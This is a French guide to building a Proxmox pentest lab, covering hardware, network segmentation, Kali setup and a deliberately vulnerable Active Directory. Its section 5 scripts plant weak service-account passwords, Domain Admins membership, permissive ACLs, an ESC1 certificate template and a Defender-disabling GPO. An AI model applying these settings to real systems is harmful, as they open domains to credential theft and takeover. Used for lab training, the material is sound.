Lab Pentest Proxmox : Guide Complet d'Installation 2026

Introduction : Pourquoi un Lab de Pentest Personnel est Indispensable

Dans le domaine de la cybersécurité offensive, la pratique régulière constitue la pierre angulaire de toute progression significative. Que vous prépariez une certification OSCP, CRTP ou PNPT, que vous souhaitiez perfectionner vos techniques d'attaque sur Active Directory, ou que vous ayez besoin de tester vos outils avant un engagement client, un lab de pentest personnel est tout simplement indispensable. Les plateformes en ligne comme Hack The Box ou TryHackMe offrent certes des environnements préconfigurés, mais elles présentent des limites fondamentales : impossibilité de personnaliser l'infrastructure, dépendance à une connexion internet, coûts mensuels récurrents et, surtout, absence de contrôle total sur la topologie réseau. Un lab maison, en revanche, vous donne une liberté absolue pour reproduire les architectures réelles que vous rencontrez en mission.

La virtualisation a révolutionné la manière dont nous construisons ces environnements d'entraînement. Fini le temps où il fallait empiler des machines physiques dans un placard : aujourd'hui, un simple serveur doté de suffisamment de RAM peut héberger simultanément un contrôleur de domaine Active Directory, un pare-feu segmentant différents réseaux, une station d'attaque Kali Linux, plusieurs machines cibles vulnérables et un SIEM pour la détection. Proxmox VE s'impose comme la solution idéale pour ce type de déploiement, et ce pour plusieurs raisons que nous détaillerons tout au long de cet article : gratuité, performances natives KVM, gestion avancée des snapshots, support des conteneurs LXC pour les services légers, et interface web intuitive. Notre équipe chez Ayinedjimi Consultants utilise quotidiennement Proxmox pour ses labs internes de recherche et ses préparations de missions Red Team.

Cet article n'est pas un survol superficiel. Nous allons plonger dans chaque composant avec le niveau de détail qu'exige un professionnel. Chaque commande a été testée, chaque configuration a été validée dans notre propre infrastructure. Préparez-vous : ce guide compte plus de 10 000 mots de contenu technique actionnable. Allons-y.

1. Prérequis Matériels — Dimensionnement par Budget

Avant de toucher au moindre fichier ISO, commençons par le nerf de la guerre : le matériel. Le dimensionnement de votre serveur Proxmox conditionne directement le nombre de VMs que vous pourrez faire tourner simultanément et, par conséquent, la complexité des scénarios que vous pourrez simuler. Voici nos recommandations détaillées, testées et validées, pour trois niveaux de budget.

1.1 Budget Serré — Environ 500 €

Ce premier palier vise les étudiants ou les passionnés qui démarrent. L'objectif est de faire tourner 3 à 4 VMs simultanées : une Kali Linux, un contrôleur de domaine Windows Server, une machine cible et un conteneur LXC pour les services web.

Composant	Recommandation	Pourquoi
CPU	Intel Core i5-12400 ou AMD Ryzen 5 5600	6 cœurs / 12 threads — suffisant pour 3-4 VMs
RAM	32 Go DDR4 (2×16 Go)	Windows Server seul consomme 4-6 Go ; Kali 4 Go ; c'est le strict minimum
Stockage système	SSD NVMe 256 Go (pour Proxmox + ISOs)	Vitesse de boot et stockage des templates
Stockage VMs	SSD SATA 1 To	Les disques Windows Server font 40-60 Go chacun
Réseau	1× NIC Gigabit intégrée	Suffisant pour du lab isolé, VLANs logiques via bridges
Boîtier / Format	Mini-ITX ou MicroATX récupéré	Silence et encombrement réduit

1.2 Budget Intermédiaire — Environ 1 000 €

Ce palier est notre recommandation principale. Il permet de faire tourner 6 à 10 VMs simultanées, incluant une forêt AD complète avec deux contrôleurs de domaine, un serveur Exchange ou ADCS, plusieurs machines cibles et un SIEM.

Composant	Recommandation	Pourquoi
CPU	AMD Ryzen 7 5700X ou Intel i7-12700	8-12 cœurs / 16-20 threads — confort pour la parallélisation
RAM	64 Go DDR4 (2×32 Go)	Le vrai game-changer : chaque VM Windows consomme 4-8 Go
Stockage système	SSD NVMe 512 Go (Proxmox + ISOs + templates)	Espace confortable pour les templates cloud-init
Stockage VMs	2× SSD NVMe 1 To en ZFS mirror	Redondance + snapshots ZFS natifs ultra-performants
Réseau	2× NIC Gigabit (intégrée + carte PCIe Intel I350)	Séparation physique management / lab traffic
Boîtier	ATX silencieux (Fractal Define, be quiet!)	Le lab tourne 24/7, le silence est essentiel

1.3 Budget Premium — Environ 2 000 €

Pour les professionnels ou les petites équipes Red Team qui veulent un environnement de simulation complet avec 15+ VMs simultanées, incluant un réseau OT, un cluster AD multi-forêts, et un stack de monitoring complet.

Composant	Recommandation	Pourquoi
CPU	AMD Ryzen 9 7900X ou Intel Xeon E-2388G	12-16 cœurs / 24-32 threads — virtualisation lourde
RAM	128 Go DDR5 (4×32 Go) ou DDR4 ECC	Permet de simuler des environnements entreprise réalistes
Stockage système	SSD NVMe 1 To Gen4	Performances maximales pour les I/O
Stockage VMs	2× SSD NVMe 2 To en ZFS mirror + HDD 4 To pour backups	Performance + archivage des snapshots
Réseau	Carte 10 GbE + switch manageable VLAN	Séparation physique réelle des réseaux lab
GPU (optionnel)	NVIDIA RTX 3060/4060 12 Go	Passthrough pour Hashcat dans Kali — cracking de hashes

1.4 Pourquoi Proxmox plutôt que VMware ou VirtualBox ?

La question revient systématiquement. Voici un comparatif objectif des solutions de virtualisation pour un usage lab pentest :

Critère	Proxmox VE	VMware ESXi	VirtualBox	Hyper-V
Coût	✅ Gratuit (AGPLv3)	⚠️ Gratuit limité / payant	✅ Gratuit	✅ Inclus Windows Pro
Type 1 (bare-metal)	✅ Oui	✅ Oui	❌ Type 2	✅ Oui
Performances KVM	✅ Natif	✅ Propriétaire	❌ Moyennes	✅ Bonnes
Snapshots	✅ ZFS + QEMU	✅ Oui	✅ Oui	⚠️ Checkpoints
Conteneurs LXC	✅ Natif	❌ Non	❌ Non	❌ Non
API REST / IaC	✅ API complète	⚠️ PowerCLI	❌ Limitée	⚠️ PowerShell
GPU Passthrough	✅ VFIO/IOMMU	✅ Oui	❌ Non	⚠️ DDA limité
Interface Web	✅ Complète	✅ vSphere	❌ GUI locale	⚠️ WAC limité
Communauté pentest	✅ Très active	⚠️ Moyenne	✅ Active	❌ Faible

Le verdict est clair : Proxmox VE combine le meilleur rapport performance/flexibilité/coût pour un lab de pentest. C'est un hyperviseur de Type 1 bare-metal avec des performances quasi-natives, un support natif des conteneurs LXC pour les services légers, une API REST complète pour l'automatisation, et un écosystème communautaire orienté sécurité très actif. Pour approfondir le déploiement automatisé, consultez notre article sur le déploiement automatisé Proxmox avec IaC.

2. Installation de Proxmox VE — Pas à Pas

2.1 Téléchargement et Préparation de la Clé USB

Commencez par télécharger la dernière version stable de Proxmox VE depuis le site officiel Proxmox. Au moment de la rédaction, la version 8.3 est la plus récente. Vérifiez systématiquement l'intégrité du fichier ISO avec le checksum SHA256 fourni :

# Téléchargement de l'ISO Proxmox VE 8.3
wget https://enterprise.proxmox.com/iso/proxmox-ve_8.3-1.iso

# Vérification du checksum SHA256
sha256sum proxmox-ve_8.3-1.iso
# Comparer avec la valeur affichée sur le site officiel

# Création de la clé USB bootable (remplacez /dev/sdX par votre clé)
sudo dd bs=1M conv=fdatasync if=proxmox-ve_8.3-1.iso of=/dev/sdX status=progress

2.2 Installation du Système

Démarrez votre serveur sur la clé USB. L'installateur Proxmox est graphique et relativement intuitif, mais certains choix sont cruciaux pour un lab de pentest :

Étape 1 : Sélection du disque et du système de fichiers

C'est ici que se joue un choix architectural majeur. Proxmox propose plusieurs options de système de fichiers :

Système de fichiers	Avantages	Inconvénients	Recommandation Lab
ext4 (LVM)	Simple, robuste, familier	Pas de snapshots natifs au niveau FS	Budget serré, disque unique
ZFS (RAID1)	Snapshots atomiques, compression, intégrité	Consomme plus de RAM (1 Go/To)	✅ Recommandé si ≥64 Go RAM
ZFS (RAIDZ1)	Redondance avec 3+ disques	Nécessite 3 disques minimum	Budget premium
Btrfs	Snapshots, sous-volumes	Moins mature que ZFS	À éviter en production

Pour un lab de pentest, nous recommandons ZFS en mirror si vous disposez de deux disques. Les snapshots ZFS sont instantanés et gratuits en termes de performances — un avantage considérable quand vous avez besoin de revenir à un état propre après chaque exercice d'attaque. Si vous n'avez qu'un seul disque, ext4 sur LVM fera parfaitement l'affaire.

Lors de l'installation, cliquez sur « Options » à côté du sélecteur de disque pour choisir ZFS (RAID1) et sélectionner vos deux disques. Configurez les paramètres ZFS :

# Paramètres ZFS recommandés lors de l'installation
ashift=12          # Alignement pour SSD (secteurs 4K)
compress=lz4       # Compression transparente — économise 20-40% d'espace
checksum=on        # Intégrité des données
copies=1           # Pas de duplication supplémentaire en mirror

Étape 2 : Configuration réseau

Configurez le réseau de management de Proxmox. Cette interface sera utilisée pour accéder à l'interface web :

# Configuration réseau typique
Management Interface: eno1 (ou enp0s31f6 selon le matériel)
Hostname (FQDN):     pve-lab.pentest.local
IP Address:           192.168.1.100/24
Gateway:              192.168.1.1
DNS Server:           192.168.1.1 (ou 1.1.1.1)

2.3 Configuration Post-Installation

Une fois Proxmox installé, connectez-vous à l'interface web (https://192.168.1.100:8006) et effectuez les configurations essentielles :

# 1. Désactiver le dépôt enterprise (sauf si vous avez une licence)
sed -i 's/^deb/# deb/' /etc/apt/sources.list.d/pve-enterprise.list

# 2. Ajouter le dépôt no-subscription (gratuit, stable)
echo "deb http://download.proxmox.com/debian/pve bookworm pve-no-subscription" > \
  /etc/apt/sources.list.d/pve-no-subscription.list

# 3. Mettre à jour le système
apt update && apt full-upgrade -y

# 4. Installer les outils utiles
apt install -y vim htop iotop net-tools lm-sensors ifupdown2

# 5. Supprimer le popup de licence à la connexion web
sed -Ezi.bak "s/(Ext\.Msg\.show\(\{[^}]+)\n\s+title: gettext\('No valid sub)/void({ \/\/ \1/g" \
  /usr/share/javascript/proxmox-widget-toolkit/proxmoxlib.js
systemctl restart pveproxy

# 6. Configurer les sensors pour le monitoring température
sensors-detect --auto

Pour les aspects sécurisation avancée de votre hyperviseur, nous vous recommandons vivement notre guide dédié sur la sécurisation et le hardening de Proxmox en 2026.

2.4 Configuration des Storage Pools

Organisez votre stockage de manière logique pour faciliter la gestion :

# Si vous utilisez ZFS, créer des datasets dédiés
zfs create rpool/data/vm-disks    # Disques des VMs
zfs create rpool/data/templates   # Templates et ISOs
zfs create rpool/data/backups     # Sauvegardes VZDump

# Optimisations ZFS pour SSD
zfs set atime=off rpool
zfs set sync=disabled rpool/data/vm-disks  # ⚠️ Lab uniquement !
zfs set recordsize=64K rpool/data/vm-disks # Optimal pour les images disque

# Vérifier l'état du pool
zpool status
zfs list -o name,used,avail,refer,compressratio

Ajoutez ensuite ces datasets dans l'interface web Proxmox : Datacenter → Storage → Add → ZFS. Attribuez les types de contenu appropriés (Disk image, Container, ISO image, VZDump backup file, Container template).

3. Architecture Réseau du Lab

L'architecture réseau est le fondement de tout lab de pentest crédible. Un réseau « à plat » où toutes les VMs communiquent directement ne reproduit pas la réalité des environnements d'entreprise. Nous allons mettre en place une segmentation réseau par VLANs avec un pare-feu virtuel central.

3.1 Topologie Cible

Voici l'architecture réseau que nous allons déployer :

3.2 Configuration des Bridges et VLANs dans Proxmox

Proxmox utilise des Linux bridges pour la connectivité réseau des VMs. Pour notre architecture, nous allons créer un bridge trunk VLAN-aware :

# Fichier /etc/network/interfaces sur l'hôte Proxmox
auto lo
iface lo inet loopback

# Interface physique management
auto eno1
iface eno1 inet manual

# Bridge management (accès web Proxmox)
auto vmbr0
iface vmbr0 inet static
    address 192.168.1.100/24
    gateway 192.168.1.1
    bridge-ports eno1
    bridge-stp off
    bridge-fd 0

# Bridge interne lab — VLAN-aware (pas de port physique)
auto vmbr1
iface vmbr1 inet manual
    bridge-ports none
    bridge-stp off
    bridge-fd 0
    bridge-vlan-aware yes
    bridge-vids 10 20 30 40 50

Ce bridge vmbr1 est purement interne — il ne touche aucune interface physique, ce qui isole complètement le trafic du lab de votre réseau domestique. Chaque VM sera connectée à ce bridge avec un tag VLAN spécifique :

# Exemple de configuration VM dans Proxmox (via CLI)
# Kali Linux — VLAN 10 (Attack)
qm set 100 -net0 virtio,bridge=vmbr1,tag=10

# DC01 — VLAN 20 (AD Corp)
qm set 200 -net0 virtio,bridge=vmbr1,tag=20

# DVWA — VLAN 30 (Targets)
qm set 300 -net0 virtio,bridge=vmbr1,tag=30

# GRFICSv2 — VLAN 40 (OT/ICS)
qm set 400 -net0 virtio,bridge=vmbr1,tag=40

# Wazuh — VLAN 50 (Monitoring)
qm set 500 -net0 virtio,bridge=vmbr1,tag=50

3.3 Déploiement du Pare-feu pfSense/OPNsense

Le pare-feu virtuel est le cœur de notre architecture. Il route le trafic entre les VLANs et applique les règles de filtrage. Nous recommandons OPNsense pour sa modernité et son interface API REST, mais pfSense fonctionne tout aussi bien.

# Création de la VM pfSense
qm create 1 --name pfSense-lab --memory 2048 --cores 2 --cpu host \
  --scsihw virtio-scsi-single \
  --scsi0 local-zfs:16,iothread=1 \
  --net0 virtio,bridge=vmbr0 \
  --net1 virtio,bridge=vmbr1,trunks="10;20;30;40;50" \
  --boot order=scsi0 \
  --ostype l26 \
  --start 0

# Importer l'ISO OPNsense
cd /var/lib/vz/template/iso/
wget https://mirror.dns-root.de/opnsense/releases/24.7/OPNsense-24.7-dvd-amd64.iso.bz2
bunzip2 OPNsense-24.7-dvd-amd64.iso.bz2

Configurez OPNsense avec les interfaces VLAN suivantes après l'installation :

• WAN : vtnet0 → Bridge vmbr0 → Accès internet via votre réseau domestique
• VLAN 10 : vtnet1.10 → 10.10.10.1/24 → Réseau Attack
• VLAN 20 : vtnet1.20 → 10.10.20.1/24 → Réseau AD Corp
• VLAN 30 : vtnet1.30 → 10.10.30.1/24 → Réseau Targets
• VLAN 40 : vtnet1.40 → 10.10.40.1/24 → Réseau OT/ICS
• VLAN 50 : vtnet1.50 → 10.10.50.1/24 → Réseau Monitoring

Les règles de pare-feu par défaut doivent :

1. Autoriser le VLAN 10 (Attack) à atteindre tous les autres VLANs (c'est le réseau offensif)
2. Autoriser le VLAN 50 (Monitoring) à recevoir des logs de tous les VLANs
3. Bloquer les communications inter-VLANs non explicitement autorisées
4. Autoriser le VLAN 10 à sortir sur Internet (pour les mises à jour d'outils)
5. Bloquer tout trafic sortant depuis les VLANs 20, 30, 40 (isolation totale)

4. Installation de Kali Linux — VM Optimisée pour Proxmox

4.1 Création de la VM Kali

Kali Linux est notre station d'attaque principale. Voici comment l'installer de manière optimale sur Proxmox :

# Télécharger l'ISO Kali (version installer, pas live)
cd /var/lib/vz/template/iso/
wget https://cdimage.kali.org/kali-2024.4/kali-linux-2024.4-installer-amd64.iso

# Créer la VM avec des paramètres optimisés
qm create 100 --name kali-attack --memory 8192 --cores 4 --cpu host \
  --scsihw virtio-scsi-single \
  --scsi0 local-zfs:80,iothread=1,discard=on,ssd=1 \
  --net0 virtio,bridge=vmbr1,tag=10 \
  --ide2 local:iso/kali-linux-2024.4-installer-amd64.iso,media=cdrom \
  --boot order="ide2;scsi0" \
  --ostype l26 \
  --vga virtio \
  --machine q35 \
  --tablet 1 \
  --agent enabled=1

Points importants :

• --cpu host : passe directement les instructions CPU à la VM, performances maximales
• --machine q35 : chipset moderne, nécessaire pour le PCIe passthrough
• --vga virtio : meilleure intégration graphique (installez spice-vdagent dans la VM)
• --agent enabled=1 : permet à Proxmox de communiquer avec la VM via QEMU Guest Agent
• discard=on,ssd=1 : active le TRIM pour les SSD, crucial pour les performances ZFS

4.2 Post-Installation et Optimisation

# Dans la VM Kali, après l'installation
# 1. Installer le QEMU Guest Agent
sudo apt update && sudo apt install -y qemu-guest-agent spice-vdagent
sudo systemctl enable --now qemu-guest-agent

# 2. Mettre à jour complètement
sudo apt full-upgrade -y

# 3. Installer les outils pentest essentiels non inclus par défaut
sudo apt install -y \
  bloodhound neo4j \
  crackmapexec \
  evil-winrm \
  feroxbuster \
  ligolo-ng \
  certipy-ad \
  coercer \
  petitpotam \
  enum4linux-ng

# 4. Installer Exegol (environnement Docker d'attaque)
pip3 install exegol
exegol install full

# 5. Configurer le réseau statique
sudo cat > /etc/network/interfaces.d/eth0 << 'EOF'
auto eth0
iface eth0 inet static
    address 10.10.10.10/24
    gateway 10.10.10.1
    dns-nameservers 10.10.10.1
EOF
sudo systemctl restart networking

# 6. Optimiser les performances disque
echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p

4.3 GPU Passthrough pour Hashcat

Si vous disposez d'un GPU dédié (NVIDIA GTX/RTX), vous pouvez le passer directement à votre VM Kali pour accélérer le cracking de hashes avec Hashcat. C'est un processus en plusieurs étapes :

# Sur l'hôte Proxmox :

# 1. Activer IOMMU dans le GRUB
sed -i 's/GRUB_CMDLINE_LINUX_DEFAULT="quiet"/GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt"/' /etc/default/grub
# Pour AMD : amd_iommu=on

update-grub

# 2. Charger les modules VFIO
cat >> /etc/modules << 'EOF'
vfio
vfio_iommu_type1
vfio_pci
vfio_virqfd
EOF

# 3. Blacklister les drivers GPU sur l'hôte
echo "blacklist nouveau" >> /etc/modprobe.d/blacklist.conf
echo "blacklist nvidia*" >> /etc/modprobe.d/blacklist.conf

# 4. Identifier le GPU et configurer VFIO
lspci -nn | grep -i nvidia
# Exemple de sortie : 01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GA106 [GeForce RTX 3060] [10de:2503] (rev a1)
# Notez les IDs : 10de:2503 et 10de:228e (audio)

echo "options vfio-pci ids=10de:2503,10de:228e disable_vga=1" > /etc/modprobe.d/vfio.conf

update-initramfs -u -k all
reboot

# 5. Après reboot, ajouter le GPU à la VM Kali
qm set 100 -hostpci0 01:00,pcie=1,x-vga=0

# Dans la VM Kali, installer les drivers NVIDIA
sudo apt install -y nvidia-driver nvidia-cuda-toolkit
hashcat --benchmark
# Vous devriez voir des performances 100x supérieures au CPU

4.4 Stratégie de Snapshots

Les snapshots sont votre filet de sécurité. Voici notre stratégie recommandée :

# Snapshot "golden image" — état propre après installation
qm snapshot 100 golden-image --description "Kali fresh install + tools"

# Snapshot avant chaque exercice
qm snapshot 100 pre-htb-machine-name --description "Avant HTB - MachineName"

# Restaurer après l'exercice
qm rollback 100 golden-image

# Lister les snapshots
qm listsnapshot 100

5. Lab Active Directory Vulnérable

C'est le cœur de notre lab. Un Active Directory vulnérable réaliste est bien plus qu'un simple DC avec des mots de passe faibles. Il doit reproduire les misconfigurations que l'on rencontre réellement en entreprise. Notre lab AD va inclure : des comptes Kerberoastables, des utilisateurs ASREPRoastables, un service ADCS avec des templates vulnérables, des ACLs permissives et des GPO mal configurées.

5.1 Installation du Contrôleur de Domaine

# Créer la VM Windows Server 2022
qm create 200 --name DC01 --memory 6144 --cores 4 --cpu host \
  --scsihw virtio-scsi-single \
  --scsi0 local-zfs:60,iothread=1 \
  --net0 virtio,bridge=vmbr1,tag=20 \
  --ide2 local:iso/WindowsServer2022.iso,media=cdrom \
  --boot order="ide2;scsi0" \
  --ostype win11 \
  --machine q35 \
  --bios ovmf \
  --efidisk0 local-zfs:1 \
  --tpmstate0 local-zfs:1,version=v2.0 \
  --agent enabled=1

# IMPORTANT : Ajouter les drivers VirtIO pendant l'installation
# Téléchargez l'ISO VirtIO : https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/stable-virtio/virtio-win.iso
# Montez-la en second lecteur CD :
qm set 200 -ide0 local:iso/virtio-win.iso,media=cdrom

Après l'installation de Windows Server 2022, configurez le réseau et promouvez le serveur en contrôleur de domaine :

# PowerShell — Configuration réseau
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 10.10.20.10 -PrefixLength 24 -DefaultGateway 10.10.20.1
Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 127.0.0.1,10.10.20.1

# PowerShell — Installation AD DS
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools

# PowerShell — Promotion en DC
Install-ADDSForest `
  -DomainName "pentest.lab" `
  -DomainNetBIOSName "PENTEST" `
  -ForestMode "WinThreshold" `
  -DomainMode "WinThreshold" `
  -InstallDns:$true `
  -SafeModeAdministratorPassword (ConvertTo-SecureString "P@ssw0rd!Lab2026" -AsPlainText -Force) `
  -Force:$true

# Le serveur redémarrera automatiquement

5.2 Configuration des Vulnérabilités AD

Maintenant, créons un environnement AD réaliste avec des vulnérabilités ciblées. Chaque misconfiguration correspond à un vecteur d'attaque que vous rencontrerez en pentest réel.

5.2.1 Comptes Kerberoastable

# PowerShell — Créer des service accounts avec SPN (Kerberoastable)
Import-Module ActiveDirectory

# Compte de service SQL avec mot de passe faible
New-ADUser -Name "svc_sql" -SamAccountName "svc_sql" `
  -UserPrincipalName "svc_sql@pentest.lab" `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true `
  -Description "Service account for SQL Server"

Set-ADUser -Identity "svc_sql" -ServicePrincipalNames @{Add="MSSQLSvc/SQL01.pentest.lab:1433"}

# Compte de service IIS
New-ADUser -Name "svc_iis" -SamAccountName "svc_iis" `
  -UserPrincipalName "svc_iis@pentest.lab" `
  -AccountPassword (ConvertTo-SecureString "W3bS3rvic3!" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true

Set-ADUser -Identity "svc_iis" -ServicePrincipalNames @{Add="HTTP/intranet.pentest.lab"}

# Compte de service backup avec privilèges élevés
New-ADUser -Name "svc_backup" -SamAccountName "svc_backup" `
  -UserPrincipalName "svc_backup@pentest.lab" `
  -AccountPassword (ConvertTo-SecureString "Backup2024" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true

Set-ADUser -Identity "svc_backup" -ServicePrincipalNames @{Add="CIFS/backup01.pentest.lab"}
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup"

5.2.2 Comptes ASREPRoastable

# PowerShell — Désactiver la pré-authentification Kerberos
New-ADUser -Name "j.legacy" -SamAccountName "j.legacy" `
  -UserPrincipalName "j.legacy@pentest.lab" `
  -AccountPassword (ConvertTo-SecureString "Legacy2020!" -AsPlainText -Force) `
  -Enabled $true -Description "Legacy application account"

Set-ADAccountControl -Identity "j.legacy" -DoesNotRequirePreAuth $true

New-ADUser -Name "old.admin" -SamAccountName "old.admin" `
  -UserPrincipalName "old.admin@pentest.lab" `
  -AccountPassword (ConvertTo-SecureString "Admin2019" -AsPlainText -Force) `
  -Enabled $true

Set-ADAccountControl -Identity "old.admin" -DoesNotRequirePreAuth $true

5.2.3 ACLs Dangereuses

# PowerShell — Misconfigurations ACL réalistes

# Un utilisateur standard a GenericAll sur un groupe privilégié
$userSID = (Get-ADUser "j.legacy").SID
$groupDN = (Get-ADGroup "Domain Admins").DistinguishedName
$acl = Get-Acl "AD:\$groupDN"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $userSID, "GenericAll", "Allow"
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$groupDN" $acl

# Un groupe IT-Support a WriteDACL sur les OUs utilisateurs
New-ADGroup -Name "IT-Support" -GroupScope Global -GroupCategory Security
New-ADUser -Name "t.support" -SamAccountName "t.support" `
  -AccountPassword (ConvertTo-SecureString "Support2024!" -AsPlainText -Force) `
  -Enabled $true
Add-ADGroupMember -Identity "IT-Support" -Members "t.support"

# Ajouter WriteDACL au groupe IT-Support sur l'OU Users
$itSupportSID = (Get-ADGroup "IT-Support").SID
$ouDN = (Get-ADOrganizationalUnit -Filter 'Name -eq "Users"').DistinguishedName
if ($ouDN) {
    $acl = Get-Acl "AD:\$ouDN"
    $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $itSupportSID, "WriteDacl", "Allow", "Descendents",
        [GUID]"bf967aba-0de6-11d0-a285-00aa003049e2"  # User object GUID
    )
    $acl.AddAccessRule($ace)
    Set-Acl "AD:\$ouDN" $acl
}

5.2.4 ADCS — Services de Certificats Vulnérables

L'Active Directory Certificate Services (ADCS) est devenu l'un des vecteurs d'attaque les plus critiques depuis les recherches de SpecterOps en 2021. Voici comment déployer un ADCS volontairement vulnérable :

# PowerShell — Installation ADCS sur DC01 (ou un serveur dédié)
Install-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools

# Configuration de l'autorité de certification
Install-AdcsCertificationAuthority `
  -CAType EnterpriseRootCA `
  -CACommonName "PENTEST-CA" `
  -KeyLength 2048 `
  -HashAlgorithm SHA256 `
  -CryptoProviderName "RSA#Microsoft Software Key Storage Provider" `
  -ValidityPeriod Years -ValidityPeriodUnits 10 `
  -Force

# Installer le service Web Enrollment (pour ESC8)
Install-WindowsFeature ADCS-Web-Enrollment
Install-AdcsWebEnrollment -Force

# Créer un template vulnérable ESC1
# (Permet à n'importe quel utilisateur de spécifier un SAN alternatif)
# Cela se fait via certtmpl.msc — dupliquez le template "User"
# et configurez :
#   - Subject Name : "Supply in the request" (au lieu de "Build from AD")
#   - Security : "Authenticated Users" → Enroll
#   - Application Policies : Client Authentication

5.2.5 GPO Misconfigurations

# PowerShell — Créer des GPO vulnérables

# GPO avec credentials dans les préférences (MS14-025)
New-GPO -Name "Deploy-Printers" | New-GPLink -Target "DC=pentest,DC=lab"

# GPO avec script de logon contenant un mot de passe en clair
$gpoPath = "\\pentest.lab\SYSVOL\pentest.lab\Policies"
# Créer un script de logon malveillant
$scriptContent = @"
@echo off
net use \\fileserver\share /user:pentest\svc_deploy Deploy2024!
"@

# GPO qui désactive Windows Defender (réaliste dans les labs legacy)
Set-GPRegistryValue -Name "Disable-Defender" `
  -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" `
  -ValueName "DisableAntiSpyware" -Type DWORD -Value 1

5.2.6 Population Automatique avec BadBlood

Pour rendre l'AD réaliste, utilisez BadBlood de Secframe pour peupler l'annuaire avec des centaines d'utilisateurs, groupes et OUs :

# PowerShell — Installer et exécuter BadBlood
git clone https://github.com/t0thkr1s/BadBlood.git C:\Tools\BadBlood
cd C:\Tools\BadBlood
.\Invoke-BadBlood.ps1

# BadBlood crée automatiquement :
# - 2500 utilisateurs avec des noms réalistes
# - 500 groupes avec des imbrications complexes
# - OUs structurées (Departments, Locations, etc.)
# - ACLs aléatoires reproduisant des misconfigurations courantes
# - Service accounts avec SPNs

Alternativement, vous pouvez utiliser DVAD (Damn Vulnerable Active Directory) de WazeHell pour une approche plus structurée avec des chemins d'attaque prédéfinis.

5.3 Ajout de Stations de Travail

# Créer les VMs Windows 10/11 (stations de travail)
qm create 201 --name WS01 --memory 4096 --cores 2 --cpu host \
  --scsihw virtio-scsi-single \
  --scsi0 local-zfs:40,iothread=1 \
  --net0 virtio,bridge=vmbr1,tag=20 \
  --ostype win11 --machine q35

qm create 202 --name WS02 --memory 4096 --cores 2 --cpu host \
  --scsihw virtio-scsi-single \
  --scsi0 local-zfs:40,iothread=1 \
  --net0 virtio,bridge=vmbr1,tag=20 \
  --ostype win10 --machine q35

# Après installation Windows, joindre au domaine
# PowerShell dans WS01 :
Add-Computer -DomainName "pentest.lab" -Credential (Get-Credential) -Restart

# Simuler des sessions utilisateur (pour le credential harvesting)
# Créer une tâche planifiée qui simule un login admin
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c echo logged"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "PENTEST\admin.da" -LogonType Interactive
Register-ScheduledTask -TaskName "SimLogin" -Action $action -Trigger $trigger -Principal $principal

Pour aller plus loin dans les exercices Purple Team combinant attaque et défense sur Active Directory, consultez notre guide sur les exercices Purple Team AD et Cloud 2026.

6. Machines Cibles Web

En complément de l'AD, un lab de pentest complet inclut des applications web vulnérables pour pratiquer l'OWASP Top 10. L'avantage de Proxmox est de pouvoir déployer ces cibles dans des conteneurs LXC, bien plus légers que des VMs complètes.

6.1 Conteneur LXC avec Docker

Nous allons créer un conteneur LXC Debian qui hébergera toutes nos cibles web via Docker :

# Télécharger le template Debian
pveam update
pveam download local debian-12-standard_12.7-1_amd64.tar.zst

# Créer le conteneur LXC
pct create 300 local:vztmpl/debian-12-standard_12.7-1_amd64.tar.zst \
  --hostname web-targets \
  --memory 4096 --swap 1024 \
  --cores 4 \
  --rootfs local-zfs:20 \
  --net0 name=eth0,bridge=vmbr1,tag=30,ip=10.10.30.10/24,gw=10.10.30.1 \
  --features nesting=1,keyctl=1 \
  --unprivileged 0 \
  --start 1

# Les features nesting=1 et keyctl=1 sont nécessaires pour Docker dans LXC

# Dans le conteneur LXC — Installation Docker
pct enter 300

apt update && apt install -y curl gnupg lsb-release ca-certificates
curl -fsSL https://get.docker.com | sh

# Créer le fichier docker-compose pour toutes les cibles
cat > /opt/targets/docker-compose.yml << 'EOF'
version: '3.8'

services:
  # DVWA — Damn Vulnerable Web Application
  dvwa:
    image: vulnerables/web-dvwa
    container_name: dvwa
    ports:
      - "8081:80"
    restart: unless-stopped

  # OWASP Juice Shop
  juice-shop:
    image: bkimminich/juice-shop
    container_name: juice-shop
    ports:
      - "8082:3000"
    restart: unless-stopped

  # WebGoat
  webgoat:
    image: webgoat/webgoat
    container_name: webgoat
    ports:
      - "8083:8080"
      - "9090:9090"
    environment:
      - WEBGOAT_PORT=8080
      - WEBWOLF_PORT=9090
    restart: unless-stopped

  # Hackazon (realistic e-commerce)
  hackazon:
    image: ianwijaya/hackazon
    container_name: hackazon
    ports:
      - "8084:80"
    restart: unless-stopped

  # NodeGoat (OWASP Node.js)
  nodegoat:
    image: owasp/nodegoat
    container_name: nodegoat
    ports:
      - "8085:4000"
    restart: unless-stopped

  # Damn Vulnerable GraphQL
  dvga:
    image: dolevf/dvga
    container_name: dvga
    ports:
      - "8086:5013"
    environment:
      - WEB_HOST=0.0.0.0
    restart: unless-stopped
EOF

cd /opt/targets && docker compose up -d

6.2 Metasploitable 3

Metasploitable 3 est trop complexe pour un conteneur et nécessite une VM dédiée :

# Metasploitable 3 est disponible sous forme de VM Vagrant
# On peut la convertir en image QEMU pour Proxmox

# Sur une machine avec Vagrant :
git clone https://github.com/rapid7/metasploitable3.git
cd metasploitable3
vagrant up ub1404  # ou win2k8

# Exporter le disque et l'importer dans Proxmox
# Ou utiliser directement les images pré-construites disponibles
# sur la communauté Proxmox

# Alternative plus simple : utiliser Vulnhub images
# Télécharger une image .ova et la convertir
